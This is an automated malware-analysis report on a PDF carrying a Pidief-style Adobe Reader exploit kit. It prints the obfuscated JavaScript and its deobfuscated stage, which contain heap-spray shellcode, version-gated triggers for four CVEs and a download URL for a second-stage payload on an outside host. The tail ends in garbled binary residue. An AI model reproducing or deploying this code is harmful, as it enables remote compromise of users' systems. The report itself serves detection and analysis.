MALICIOUS
410
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
The PDF contains embedded JavaScript that leverages multiple known vulnerabilities (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) to achieve code execution. The script is designed to download and execute a second-stage payload from the URL http://www.relaxsearch.uphero.com/lolo/load.php?spl=pdf_2030. The presence of multiple exploit CVEs and the download functionality strongly indicate a malicious intent to compromise the user's system.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 10
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.relaxsearch.uphero.com/lolo/load.php?spl=pdf_2030 Referenced by PDF JavaScript
- http://w.easac.peocmll/odppslpf23Referenced by PDF JavaScript
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0022_000.js |
pdf-javascript-stream | PDF /JS object 22 at offset 0x2E74 | 35287 bytes |
SHA-256: 26670cca87ec0c26a69e878229805b0bac142ef42ee23a55f8bc1257afd9cb89 |
|||
Preview scriptFirst 1,000 lines of the extracted script
/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */var readerAdobe =/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ "un"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "es"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "ca"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "pe"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, ""/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */]; email/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */= new/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */ String (/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */readerAdobe [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */0 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ readerAdobe/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 1/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */readerAdobe [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */2 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ readerAdobe/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 3/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */readerAdobe [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */4 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */) ;/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */ var get/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */= [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"d" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"c" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"e" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"a" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"o" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"r" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"h" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"A" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"t" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"C" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"" ];/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */send =/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */new String/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */( get/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 1/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */get [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */6 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ get/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 3/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */get [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */5 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ get/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 9/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */get [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */4 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ get/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 0/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */get [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */2 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ get/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 7/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */get [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */8 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ get/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 10/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] )/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */; /* absconce disk absorpt absorbed flakes prince yang lynne ablactation */var mail =/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ "th"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "Wo"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "tP"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "ag"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, ""/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "rd"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "eN"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "ge"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */]; window/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */= new/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */ String (/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */mail [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */7 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ mail/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 2/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */mail [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */3 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ mail/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 6/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */mail [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */0 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ mail/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 1/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */mail [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */5 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ mail/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 4/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] )/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */; /* absconce disk absorpt absorbed flakes prince yang lynne ablactation */var mailSend =/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ "Wo"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "um"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "ge"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "eN"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "tP"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "s"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "ag"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "rd"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, ""/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */]; dGoogle/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */= new/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */ String (/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */mailSend [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */2 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ mailSend/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 4/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */mailSend [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */6 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ mailSend/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 3/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */mailSend [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */1 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ mailSend/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 0/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */mailSend [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */7 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ mailSend/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 5/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */mailSend [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */8 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */) ;/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */ var array/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */= [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"fr" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"Ch" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"om" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"Co" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"de" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"ar" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"" ];/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */mailArray =/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */new String/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */( array/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 0/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */array [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */2 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ array/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 1/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */array [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */5 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ array/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 3/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */array [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */4 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ array/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 6/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] )/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */; /* absconce disk absorpt absorbed flakes prince yang lynne ablactation */var mailWindow =/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ "v"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, ""/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "l"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "a"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, "e"/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */]; a/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */= new/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */ String (/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */mailWindow [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */4 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ mailWindow/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 0/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */mailWindow [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */3 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ mailWindow/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 2/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */mailWindow [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */1 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */) ;/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */ var foxit/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */= [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"a" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"p" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"" ,/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */"p" ];/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */emailGet =/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */new String/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */( foxit/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 0/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */foxit [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */1 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ foxit/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ 1/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] +/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */foxit [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */2 ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */) ;/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */ /* absconce disk absorpt absorbed flakes prince yang lynne ablactation */var emailGet/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */= this/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ emailGet/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] ;/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */var editB/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */= 164/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */; var/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */ d =/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */3 ;/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */var emailC/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */= new/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */ String (/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */) ;/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */var adobeGet/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */= String("%")/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */; var/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */ unlock =/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */this [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */email ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */; var/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */ aGoogle =/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */this [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */dGoogle ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */( d/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */) ;/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */ for/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */( var/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */ foxitWindow =/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */0; foxitWindow/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */< aGoogle;/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */foxitWindow++ )/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */{ /* absconce disk absorpt absorbed flakes prince yang lynne ablactation */check=this [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */window ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */( d/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, foxitWindow/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */) ;/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */var aA/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */= check/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */. substr/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */( check/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */. length/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */- 2/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */, 2/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */) ;/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */var adobeB/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */= unlock/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */( adobeGet/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */+ aA/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */) ;/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */var b/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */= adobeB/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */[ send/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */] (/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */0 )/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */; var/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */ unlockGoogle =/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */b ^/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */editB ;/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */emailC +=/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */String [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */mailArray ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */( unlockGoogle/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */) ;/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */} /* absconce disk absorpt absorbed flakes prince yang lynne ablactation */this [/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */a ]/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */( emailC/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */) ;/* absconce disk absorpt absorbed flakes prince yang lynne ablactation */
|
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legacy_pdfkit_stage_000.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 3959 bytes |
SHA-256: 11aa971d1c80ebdd943f7dd8a094c54221cc73f3ef988a61f20d645d8040eb7e |
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|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
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Preview scriptFirst 1,000 lines of the extracted script
/* getPageWords download URL: http://www.relaxsearch.uphero.com/lolo/load.php?spl=pdf_2030 */
var _u="http://www.relaxsearch.uphero.com/lolo/load.php?spl=pdf_2030";
jIIzI
InI
In
III
var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";
var hwTl9Dn = new Array();
function get_shellcode(name) {
var u = get_url();
var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
s+= u;
return unescape(s);
}
function get_url(){
var str = this.info.author;
var ret = encode_str(str, dest_table, src_table);
return ret;
};
function encode_str(str, src_table, dest_table){
var ret="";
for(var i=0; i < str.length; i++)
{
var index = src_table.indexOf(str[i]);
if(index > -1 )
{
ret += dest_table[index];
}
}
return ret;
};
function Rq4v1qCC(PDrScZj4, ez5pL6){
while (PDrScZj4.length * 2 < ez5pL6){
PDrScZj4 += PDrScZj4;
}
PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2); return PDrScZj4;
}
function x8EvTm(I7T0vko5){
var qPBt7D = 0x0c0c0c0c;
NRjjR6W6 = get_shellcode("pdf");
if (I7T0vko5 == 1){qPBt7D = 0x30303030;}
var FeQq1Vv = 0x400000;
var tsSzSc = NRjjR6W6.length * 2; var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);
var PDrScZj4 = unescape("%u9090%u9090");
PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);
var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;
for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){
hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;
}
}
function U2UcYKr(){
var IyIFVe = app.viewerVersion.toString();
if (IyIFVe > 8)
{
x8EvTm(1);
var iVvCdy8 = "12999999999999999999";
for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
{
iVvCdy8 += "8";
}
util.printf("%45000f", iVvCdy8);
}
if (IyIFVe < 8){
x8EvTm(0);
var UNXaCTHb = unescape("%u0c0c%u0c0c");
while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;
this .collabStore = Collab.collectEmailInfo({ subj : "", msg : UNXaCTHb});
}
if (IyIFVe < 9.1){
if (app.doc.Collab.getIcon)
{
x8EvTm(0);
var eGREUTNw = unescape("%09");
while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;
eGREUTNw = "N." + eGREUTNw;
app.doc.Collab.getIcon(eGREUTNw);
}
}
if (IyIFVe == 9.2){
x8EvTm(1);
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
try
{
media.newPlayer(null);
} catch(e)
{}
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}
}
U2UcYKr();
zzzIz Jj jI jjJz JJjzInzzIzJ~J[Jjzzj~zJJjJJ
J J
J
j~jjnjJjj[[j[j~ ~ j[ j
jjznn
j jj jznjjzjzn IjI J z j zjIj jIjjIjjIjjIjjIj jIjjIjjIjjIjjIj jIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjjIjz��zL�~�
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.